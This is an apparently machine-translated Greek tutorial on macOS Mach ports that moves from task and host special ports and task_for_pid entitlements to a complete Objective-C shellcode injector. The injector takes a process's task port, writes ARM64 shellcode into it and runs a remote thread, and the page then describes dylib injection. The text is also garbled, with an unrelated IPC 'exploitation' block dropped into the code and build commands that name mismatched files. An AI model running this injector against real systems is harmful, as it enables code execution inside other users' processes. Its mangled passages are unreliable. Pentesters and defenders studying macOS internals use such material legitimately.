  • host_priv_statistics: Λάβετε προνομιακά στατιστικά στοιχεία

  • vm_allocate_cpm: Κατανομή Συνεχούς Φυσικής Μνήμης

  • host_processors: Στείλτε δικαίωμα στους επεξεργαστές host

  • mach_vm_wire: Κάντε τη μνήμη μόνιμη

  • Καθώς ο root μπορεί να έχει πρόσβαση σε αυτή την άδεια, θα μπορούσε να καλέσει host_set_[special/exception]_port[s] για να καταλάβει τις ειδικές ή εξαιρετικές θύρες host.

Είναι δυνατό να δει κανείς όλες τις ειδικές θύρες host εκτελώντας:

procexp all ports | grep "HSP"

Task Special Ports

Αυτοί είναι οι θύρες που είναι κρατημένες για γνωστές υπηρεσίες. Είναι δυνατή η λήψη/ρύθμισή τους καλώντας task_[get/set]_special_port. Μπορούν να βρεθούν στο task_special_ports.h:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */

From here:

  • TASK_KERNEL_PORT[task-self send right]: Η θύρα που χρησιμοποιείται για τον έλεγχο αυτής της εργασίας. Χρησιμοποιείται για την αποστολή μηνυμάτων που επηρεάζουν την εργασία. Αυτή είναι η θύρα που επιστρέφεται από mach_task_self (βλ. Θύρες Εργασίας παρακάτω).

  • TASK_BOOTSTRAP_PORT[bootstrap send right]: Η θύρα εκκίνησης της εργασίας. Χρησιμοποιείται για την αποστολή μηνυμάτων που ζητούν την επιστροφή άλλων θυρών υπηρεσιών συστήματος.

  • TASK_HOST_NAME_PORT[host-self send right]: Η θύρα που χρησιμοποιείται για την αίτηση πληροφοριών σχετικά με τον περιέχοντα υπολογιστή. Αυτή είναι η θύρα που επιστρέφεται από mach_host_self.

  • TASK_WIRED_LEDGER_PORT[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη πυρήνα που είναι συνδεδεμένη.

  • TASK_PAGED_LEDGER_PORT[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη που διαχειρίζεται από προεπιλογή.

Θύρες Εργασίας

Αρχικά, το Mach δεν είχε "διεργασίες", είχε "εργασίες" που θεωρούνταν περισσότερο σαν ένα δοχείο νημάτων. Όταν το Mach συγχωνεύθηκε με το BSD κάθε εργασία συσχετίστηκε με μια διαδικασία BSD. Επομένως, κάθε διαδικασία BSD έχει τις λεπτομέρειες που χρειάζεται για να είναι διαδικασία και κάθε εργασία Mach έχει επίσης τις εσωτερικές της λειτουργίες (εκτός από το ανύπαρκτο pid 0 που είναι το kernel_task).

Υπάρχουν δύο πολύ ενδιαφέρουσες συναρτήσεις που σχετίζονται με αυτό:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Λάβετε ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για την θύρα εργασίας της εργασίας που σχετίζεται με το καθορισμένο από το pid και δώστε το στην υποδεικνυόμενη target_task_port (η οποία είναι συνήθως η εργασία καλούντος που έχει χρησιμοποιήσει το mach_task_self(), αλλά θα μπορούσε να είναι μια θύρα ΑΠΟΣΤΟΛΗΣ σε μια διαφορετική εργασία).

  • pid_for_task(task, &pid): Δεδομένου ενός ΔΙΚΑΙΩΜΑΤΟΣ ΑΠΟΣΤΟΛΗΣ σε μια εργασία, βρείτε σε ποιο PID σχετίζεται αυτή η εργασία.

Για να εκτελέσει ενέργειες εντός της εργασίας, η εργασία χρειάστηκε ένα SEND δικαίωμα στον εαυτό της καλώντας το mach_task_self() (το οποίο χρησιμοποιεί το task_self_trap (28)). Με αυτή την άδεια, μια εργασία μπορεί να εκτελέσει πολλές ενέργειες όπως:

  • task_threads: Λάβετε ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε όλες τις θύρες εργασίας των νημάτων της εργασίας

  • task_info: Λάβετε πληροφορίες σχετικά με μια εργασία

  • task_suspend/resume: Αναστείλετε ή επαναφέρετε μια εργασία

  • task_[get/set]_special_port

  • thread_create: Δημιουργήστε ένα νήμα

  • task_[get/set]_state: Ελέγξτε την κατάσταση της εργασίας

  • και περισσότερα μπορούν να βρεθούν στο mach/task.h

Σημειώστε ότι με ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ σε μια θύρα εργασίας μιας διαφορετικής εργασίας, είναι δυνατό να εκτελούνται τέτοιες ενέργειες σε μια διαφορετική εργασία.

Επιπλέον, η θύρα_port είναι επίσης η vm_map θύρα που επιτρέπει να διαβάσετε και να χειριστείτε τη μνήμη μέσα σε μια εργασία με συναρτήσεις όπως vm_read() και vm_write(). Αυτό σημαίνει βασικά ότι μια εργασία με δικαιώματα ΑΠΟΣΤΟΛΗΣ στη θύρα_port μιας διαφορετικής εργασίας θα είναι σε θέση να εισάγει κώδικα σε αυτή την εργασία.

Θυμηθείτε ότι επειδή ο πυρήνας είναι επίσης μια εργασία, αν κάποιος καταφέρει να αποκτήσει ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ πάνω στο kernel_task, θα είναι σε θέση να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks).

  • Καλέστε το mach_task_self() για να λάβετε το όνομα για αυτή τη θύρα για την εργασία καλούντος. Αυτή η θύρα κληρονομείται μόνο μέσω του exec(); μια νέα εργασία που δημιουργείται με το fork() αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το exec() σε ένα εκτελέσιμο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον "χορό ανταλλαγής θυρών" ενώ κάνετε ένα fork().

  • Αυτές είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το macos_task_policy από το εκτελέσιμο AppleMobileFileIntegrity):

  • Εάν η εφαρμογή έχει com.apple.security.get-task-allow δικαίωμα οι διαδικασίες από τον ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία πιστοποίησης δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.

  • Οι εφαρμογές με το com.apple.system-task-ports δικαίωμα μπορούν να αποκτήσουν τη θύρα εργασίας για οποιαδήποτε διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν task_for_pid-allow. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.

  • Ο Root μπορεί να έχει πρόσβαση σε θύρες εργασίας εφαρμογών που δεν έχουν μεταγλωττιστεί με σκληρή εκτέλεση (και όχι από την Apple).

Η θύρα ονόματος εργασίας: Μια μη προνομιούχος έκδοση της θύρας εργασίας. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο πράγμα που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το task_info().

Θύρες Νημάτων

Τα νήματα έχουν επίσης σχετικές θύρες, οι οποίες είναι ορατές από την εργασία που καλεί το task_threads και από τον επεξεργαστή με processor_set_threads. Ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στη θύρα νήματος επιτρέπει τη χρήση της συνάρτησης από το υποσύστημα thread_act, όπως:

  • thread_terminate

  • thread_[get/set]_state

  • act_[get/set]_state

  • thread_[suspend/resume]

  • thread_info

  • ...

Κάθε νήμα μπορεί να αποκτήσει αυτή τη θύρα καλώντας το mach_thread_sef.

Εισαγωγή Shellcode σε νήμα μέσω Θύρας Εργασίας

Μπορείτε να αποκτήσετε ένα shellcode από:

Introduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

Συγκεντρώστε το προηγούμενο πρόγραμμα και προσθέστε τα entitlements για να μπορείτε να εισάγετε κώδικα με τον ίδιο χρήστη (αν όχι, θα χρειαστεί να χρησιμοποιήσετε sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

```markdown
<details>
<summary>Επικοινωνία Διαδικασιών (IPC)</summary>

Η Επικοινωνία Διαδικασιών (IPC) είναι μια μέθοδος που επιτρέπει σε διαφορετικές διαδικασίες να επικοινωνούν μεταξύ τους. Στο macOS, υπάρχουν διάφοροι μηχανισμοί IPC, όπως τα sockets, τα pipes και τα shared memory segments. Αυτοί οι μηχανισμοί μπορούν να χρησιμοποιηθούν για την εκτέλεση επιθέσεων, όπως η εκμετάλλευση ευπαθειών σε εφαρμογές που χρησιμοποιούν IPC.

### Τεχνικές Εκμετάλλευσης

1. **Socket Abuse**: Η εκμετάλλευση sockets για την αποστολή κακόβουλων μηνυμάτων σε άλλες διαδικασίες.
2. **Pipe Hijacking**: Η παρακολούθηση ή η τροποποίηση δεδομένων που μεταφέρονται μέσω pipes.
3. **Shared Memory Manipulation**: Η πρόσβαση και η τροποποίηση κοινών μνημονικών περιοχών για την εκτέλεση κακόβουλων ενεργειών.

### Προστασία

Για να προστατευθείτε από επιθέσεις IPC, είναι σημαντικό να εφαρμόσετε τις ακόλουθες πρακτικές:

- Χρησιμοποιήστε κρυπτογράφηση για την επικοινωνία μεταξύ διαδικασιών.
- Ελέγξτε τις άδειες πρόσβασης στις διαδικασίες και τα αρχεία IPC.
- Εφαρμόστε περιορισμούς στο ποιος μπορεί να επικοινωνεί με ποιες διαδικασίες.

</details>
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Για να λειτουργήσει αυτό στο iOS, χρειάζεστε την άδεια dynamic-codesigning προκειμένου να μπορείτε να δημιουργήσετε ένα εκτελέσιμο μνήμης που είναι εγγράψιμο.

Εισαγωγή Dylib σε νήμα μέσω Task port

Στο macOS, νήματα μπορεί να χειριστούν μέσω Mach ή χρησιμοποιώντας το posix pthread api. Το νήμα που δημιουργήσαμε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε δεν είναι συμβατό με posix.

Ήταν δυνατό να εισαχθεί ένας απλός κώδικας shell για να εκτελέσει μια εντολή επειδή δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix, μόνο με Mach. Πιο σύνθετες εισαγωγές θα χρειάζονταν το νήμα να είναι επίσης συμβατό με posix.

Επομένως, για να βελτιωθεί το νήμα, θα πρέπει να καλέσει pthread_create_from_mach_thread που θα δημιουργήσει ένα έγκυρο pthread. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να καλέσει dlopen για να φορτώσει ένα dylib από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα shell για να εκτελεί διαφορετικές ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.

Μπορείτε να βρείτε παραδείγματα dylibs σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):

Last updated